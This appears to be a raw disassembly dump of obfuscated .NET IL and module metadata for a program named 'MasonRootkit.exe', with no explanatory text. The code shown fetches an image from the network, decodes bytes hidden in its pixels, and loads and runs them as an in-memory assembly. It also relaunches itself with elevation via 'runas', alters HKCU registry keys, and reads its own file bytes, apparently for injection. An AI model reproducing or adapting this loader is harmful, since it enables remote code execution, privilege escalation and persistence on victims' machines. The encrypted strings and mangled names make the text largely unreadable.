call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String)
newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream)
stloc.s V_6
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
newarr System.Byte
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_02F1: ldloc.s V_8
ldloc.s V_7
ldloc.s V_8
ldloc.s V_6
ldloc.s V_8
ldc.i4.0 <null>
callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32)
stloc.s V_9
ldloca.s V_9
call System.Byte System.Drawing.Color::get_R()
stelem.i1 <null>
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldloc.s V_6
callvirt System.Int32 System.Drawing.Image::get_Width()
blt.s IL_02D3: ldloc.s V_7
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldloc.s V_7
callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_0323: leave.s IL_0331
ldloc.s V_6
brfalse.s IL_0322: endfinally
ldloc.s V_6
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0331: leave.s IL_0367
ldloc.s V_5
brfalse.s IL_0330: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0367: ret
stloc.s V_10
ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1018065206
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0367: ret
ret <null>
Module Name
MasonRootkit.exe
Full Name
MasonRootkit.exe
EntryPoint 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name
MasonRootkit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
MasonRootkit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
188
Main Method 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count
248
Main IL 
ldsfld System.IntPtr System.IntPtr::Zero
stloc.0 <null>
call System.Boolean System.Environment::get_Is64BitOperatingSystem()
brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldloca.s V_0
call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&)
pop <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙()
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_0084: ldloc.1
ldstr 
쁵
쁴
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1716895771
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
stloc.2 <null>
br.s IL_00AF: ldloc.2
ldloc.1 <null>
ldstr 
톝
톐
톝
톐
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1030083065
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
castclass System.String
stloc.2 <null>
ldloc.2 <null>
ldstr 
ꭖ
ꭊ
ꭜ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 152021807
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_014A: nop
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.3 <null>
ldstr 
괝
괚
괁
괎
괜
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 308915567
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
nop <null>
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
ceq <null>
stloc.s V_4
ldloc.s V_4
brfalse.s IL_0129: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 866259113
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32)
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1051615774
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
